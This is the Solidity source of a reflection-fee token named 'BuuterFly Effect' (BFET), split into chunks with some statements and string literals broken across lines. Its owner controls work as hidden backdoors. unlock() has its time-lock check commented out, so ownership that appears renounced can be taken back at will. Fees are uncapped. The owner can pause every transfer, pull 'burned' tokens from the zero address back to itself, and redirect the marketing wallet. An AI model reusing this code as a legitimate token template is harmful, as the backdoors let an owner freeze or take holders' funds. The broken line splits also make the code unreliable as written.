```
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;

interface IERC20
{
   function totalSupply() external view returns (uint256);
   function balanceOf(address account) external view returns (uint256);
   function transfer(address recipient, uint256 amount) external returns (bool);
   function allowance(address owner, address spender) external view returns (uint256);
   function approve(address spender, uint256 amount) external returns (bool);
   function transferFrom(address sender, address recipient, uint256 amount) external returns
(bool);
   event Transfer(address indexed from, address indexed to, uint256 value);
   event Approval(address indexed owner, address indexed spender, uint256 value);
}


library SafeMath {

   function add(uint256 a, uint256 b) internal pure returns (uint256) {
      uint256 c = a + b;
      require(c >= a, "SafeMath: addition overflow");
      return c;
   }

   function sub(uint256 a, uint256 b) internal pure returns (uint256) {
      return sub(a, b, "SafeMath: subtraction overflow");
   }
```

```
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns
(uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }



    function mul(uint256 a, uint256 b) internal pure returns (uint256)
    {
        if (a == 0)
        {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }



    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
```

```
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
```

```
}


library Address {

   function isContract(address account) internal view returns (bool) {
      bytes32 codehash;
      bytes32 accountHash =
0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
      assembly { codehash := extcodehash(account) }
      return (codehash != accountHash && codehash != 0x0);
   }


   function sendValue(address payable recipient, uint256 amount) internal {
      require(address(this).balance >= amount, "Address: insufficient balance");
      (bool success, ) = recipient.call{ value: amount }("");
      require(success, "Address: unable to send value, recipient may have reverted");
   }


   function functionCall(address target, bytes memory data) internal returns (bytes memory) {
     return functionCall(target, data, "Address: low-level call failed");
   }


   function functionCall(address target, bytes memory data, string memory errorMessage)
internal returns (bytes memory) {
      return _functionCallWithValue(target, data, 0, errorMessage);
```

```
    }


    function functionCallWithValue(address target, bytes memory data, uint256 value) internal
returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value
failed");
    }


    function functionCallWithValue(address target, bytes memory data, uint256 value, string
memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }


    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string
memory errorMessage) private returns (bytes memory)
    {
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0)
            {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
```

```
        } else {
            revert(errorMessage);
        }
      }
    }
}


contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    uint256 private _lockTime;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () internal {
        address msgSender = _msgSender();
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
```

```
function renounceOwnership() public virtual onlyOwner {
    emit OwnershipTransferred(_owner, address(0));
    _owner = address(0);
}


function transferOwnership(address newOwner) public virtual onlyOwner {
    require(newOwner != address(0), "Ownable: new owner is the zero address");
    emit OwnershipTransferred(_owner, newOwner);
    _owner = newOwner;
}

function getUnlockTime() public view returns (uint256) {
    return _lockTime;
}


function lock(uint256 time) public virtual onlyOwner {
    _previousOwner = _owner;
    _owner = address(0);
    _lockTime = now + time;
    emit OwnershipTransferred(_owner, address(0));
}


function unlock() public virtual {
    require(_previousOwner == msg.sender, "You don't have permission to unlock");
   // require(now < _lockTime , "Contract is locked until 7 days");
```

```
        emit OwnershipTransferred(_owner, _previousOwner);
        _owner = _previousOwner;
    }
}

contract Pausable is Ownable {

    event Paused(address account);
    event Unpaused(address account);

    bool private _paused;

    modifier whenNotPaused()
    {
        require(!_paused, "Pausable: paused");
        _;
    }

    modifier whenPaused() {
        require(_paused, "Pausable: not paused");
        _;
    }

    constructor() internal {}

    function paused(
    ) public view returns (bool)
    {
        return _paused;
```

```
    }

    function pause(
    ) public
        onlyOwner
        whenNotPaused
    {
        _paused = true;
        emit Paused(msg.sender);
    }

    function unpause(
    ) public
        onlyOwner
        whenPaused
    {
        _paused = false;
        emit Unpaused(msg.sender);
    }
}
contract ButterflyeffectToken is Context, IERC20, Ownable , Pausable
{
    using SafeMath for uint256;
    using Address for address;
    event Log(string, uint256);
    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
```

```
mapping (address => bool) private _isExcludedFromFee;

mapping (address => bool) private _isExcluded;
address[] private _excluded;

uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 16000180000 * 10**8;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;

string private _name = "BuuterFly Effect";
string private _symbol = "BFET";
uint8 private _decimals = 8;

uint256 public _taxFee = 10;
uint256 private _previousTaxFee = _taxFee;

uint256 public _marketingFee = 5;
uint256 private _previousMarketingFee = _marketingFee;

address public marketingWallet = 0x12dA9E0B1E280d7810D24162de1c407B11Ace501;

uint256 public _maxTxAmount = 16000180000 * 10**8;

event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
    uint256 tokensSwapped,
    uint256 ethReceived,
```

```
    uint256 tokensIntoLiqudity
);




constructor () public
{
    _rOwned[_msgSender()] = _rTotal;
    _isExcludedFromFee[owner()] = true;
    _isExcludedFromFee[address(this)] = true;
    emit Transfer(address(0), _msgSender(), _tTotal);
}



function restoreAllFee() private
{
    _taxFee = _previousTaxFee;
    _marketingFee = _previousMarketingFee;
}



function removeAllFee() private
{
    _taxFee = 0;
    _marketingFee = 0;
}
```

```
function SetFee(uint256 TaxFee, uint256 MarketingFee) public virtual onlyOwner
{
    _taxFee = TaxFee;
    _previousTaxFee = _taxFee;
    _marketingFee = MarketingFee;
    _previousMarketingFee = _marketingFee;
 }




 function name() public view returns (string memory) {
    return _name;
 }

 function symbol() public view returns (string memory) {
    return _symbol;
 }

 function decimals() public view returns (uint8) {
    return _decimals;
 }

 function totalSupply() public view override returns (uint256) {

    return _tTotal;
 }

 function balanceOf(address account) public view override returns (uint256) {
```

```
        require(!paused(), "ERC20Pausable: token transfer while paused");
        if (_isExcluded[account]) return _tOwned[account];
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        require(!paused(), "ERC20Pausable: token transfer while paused");
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        require(!paused(), "ERC20Pausable: token transfer while paused");
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        require(!paused(), "ERC20Pausable: token transfer while paused");
        _approve(_msgSender(), spender, amount);
        return true;
    }

function GetBurntTokensAmount() public view  onlyOwner returns (uint256) {
    uint256  _addresszeroblalnce =balanceOf(address(0));
    return _addresszeroblalnce;
}

function AddtoBurntTokens() public onlyOwner {
    require(balanceOf(address(0)) > 0, "AdressZeroBalanceAmount must be larger than Zero");
```

```
    _tokenTransfer(address(0),_msgSender(),balanceOf(address(0))) ;
}


    function transferFrom(address sender, address recipient, uint256 amount) public override
returns (bool) {
        require(!paused(), "ERC20Pausable: token transfer while paused");
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20:
transfer amount exceeds allowance"));
        return true;
    }


    function increaseAllowance(address spender, uint256 addedValue) public virtual onlyOwner
returns (bool) {
        require(!paused(), "ERC20Pausable: token transfer while paused");
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }


    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual
onlyOwner returns (bool) {
        require(!paused(), "ERC20Pausable: token transfer while paused");
        _approve(_msgSender(), spender,
_allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below
zero"));
        return true;
    }


    function isExcludedFromReward(address account) public view onlyOwner returns (bool) {
        require(!paused(), "ERC20Pausable: token transfer while paused");
        return _isExcluded[account];
```

```
    }

    function totalFees() public view returns (uint256) {

        return _tFeeTotal;
    }

    function deliver(uint256 tAmount) public {
         require(!paused(), "ERC20Pausable: token transfer while paused");
        address sender = _msgSender();
        require(!_isExcluded[sender], "Excluded addresses cannot call this function");
        (uint256 rAmount,,,,) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rTotal = _rTotal.sub(rAmount);
        _tFeeTotal = _tFeeTotal.add(tAmount);
    }

    function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view
returns(uint256) {
         require(!paused(), "ERC20Pausable: token transfer while paused");
        require(tAmount <= _tTotal, "Amount must be less than supply");
        if (!deductTransferFee) {
            (uint256 rAmount,,,,) = _getValues(tAmount);
            return rAmount;
        } else {
            (,uint256 rTransferAmount,,,) = _getValues(tAmount);
            return rTransferAmount;
        }
    }
```

```
  function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
      require(!paused(), "ERC20Pausable: token transfer while paused");
      require(rAmount <= _rTotal, "Amount must be less than total reflections");
      uint256 currentRate =  _getRate();
      return rAmount.div(currentRate);
  }



  function excludeFromReward(address account) public onlyOwner() {

      //uire(account != 0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F, 'We can not exclude
Pancake router.');
      require(!_isExcluded[account], "Account is already excluded");
      if(_rOwned[account] > 0) {
          _tOwned[account] = tokenFromReflection(_rOwned[account]);
      }
      _isExcluded[account] = true;
      _excluded.push(account);
  }



  function includeInReward(address account) external onlyOwner() {

      require(_isExcluded[account], "Account is already excluded");
      for (uint256 i = 0; i < _excluded.length; i++) {
          if (_excluded[i] == account) {
              _excluded[i] = _excluded[_excluded.length - 1];
              _tOwned[account] = 0;
```

```
            _isExcluded[account] = false;
            _excluded.pop();
            break;
          }
        }
    }

    function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
        require(!paused(), "ERC20Pausable: token transfer while paused");
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount,
uint256 tFee) = _getValues(tAmount);
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    receive() external payable {}

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        require(!paused(), "ERC20Pausable: token transfer while paused");
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256,
uint256, uint256) {
```

```
        (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, _getRate());
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
    }

    function _getTValues(uint256 tAmount) private view returns (uint256, uint256) {

        uint256 tFee = calculateTaxFee(tAmount);
        uint256 tTransferAmount = tAmount.sub(tFee);
        return (tTransferAmount, tFee);
    }

    function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {

        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns(uint256) {

        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
```

```
    }

    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal,
_tTotal);
            rSupply = rSupply.sub(_rOwned[_excluded[i]]);
            tSupply = tSupply.sub(_tOwned[_excluded[i]]);
        }
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }




    function calculateTaxFee(uint256 _amount) private view returns (uint256) {
        return _amount.mul(_taxFee).div(10**3);
    }




    function isExcludedFromFee(address account) public view returns(bool) {
        return _isExcludedFromFee[account];
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(!paused(), "ERC20Pausable: token transfer while paused");
```

```
    require(owner != address(0), "ERC20: approve from the zero address");
    require(spender != address(0), "ERC20: approve to the zero address");

    _allowances[owner][spender] = amount;
    emit Approval(owner, spender, amount);
}

function _transfer(
    address from,
    address to,
    uint256 amount
) private {
     require(!paused(), "ERC20Pausable: token transfer while paused");
    require(from != address(0), "ERC20: transfer from the zero address");
    require(to != address(0), "ERC20: transfer to the zero address");
    require(amount > 0, "Transfer amount must be greater than zero");
    _tokenTransfer(from,to,amount);
}




function _tokenTransfer(address sender, address recipient, uint256 amount) private {
     require(!paused(), "ERC20Pausable: token transfer while paused");
    if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient])
    {
        removeAllFee();
    }
    else
    {
```

```
        require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
    }

    uint256 marketingAmt = amount.mul(_marketingFee).div(1000);
    if (_isExcluded[sender] && !_isExcluded[recipient]) {
        _transferFromExcluded(sender, recipient, (amount.sub(marketingAmt)));
    } else if (!_isExcluded[sender] && _isExcluded[recipient]) {
        _transferToExcluded(sender, recipient, (amount.sub(marketingAmt)));
    } else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
        _transferStandard(sender, recipient, (amount.sub(marketingAmt)));
    } else if (_isExcluded[sender] && _isExcluded[recipient]) {
        _transferBothExcluded(sender, recipient, (amount.sub(marketingAmt)));
    } else {
        _transferStandard(sender, recipient, (amount.sub(marketingAmt)));
    }

    removeAllFee();
    if(marketingAmt>0)
    {
        _transferStandard(sender, marketingWallet, marketingAmt);
    }
    restoreAllFee();
  }

  function _transferStandard(address sender, address recipient, uint256 tAmount) private {
      require(!paused(), "ERC20Pausable: token transfer while paused");
    (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount,
uint256 tFee) = _getValues(tAmount);
    _rOwned[sender] = _rOwned[sender].sub(rAmount);
```

```
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }


    function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
         require(!paused(), "ERC20Pausable: token transfer while paused");
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount,
uint256 tFee) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }


    function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private
{
         require(!paused(), "ERC20Pausable: token transfer while paused");
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount,
uint256 tFee) = _getValues(tAmount);
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }


    function excludeFromFee(address account) public onlyOwner() {
```

```
    _isExcludedFromFee[account] = true;
}

function includeInFee(address account) public onlyOwner() {

    _isExcludedFromFee[account] = false;
}



function setMarketingWallet(address newWallet) external onlyOwner() {

    marketingWallet = newWallet;
}



function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
    require(maxTxPercent > 10, "Cannot set transaction amount less than 10 percent!");
    _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
}



function burn(uint256 burnAmt) public virtual onlyOwner()

{

    removeAllFee();
    _transferStandard(_msgSender(), address(0), burnAmt);
    restoreAllFee();
```

```
    }

}
```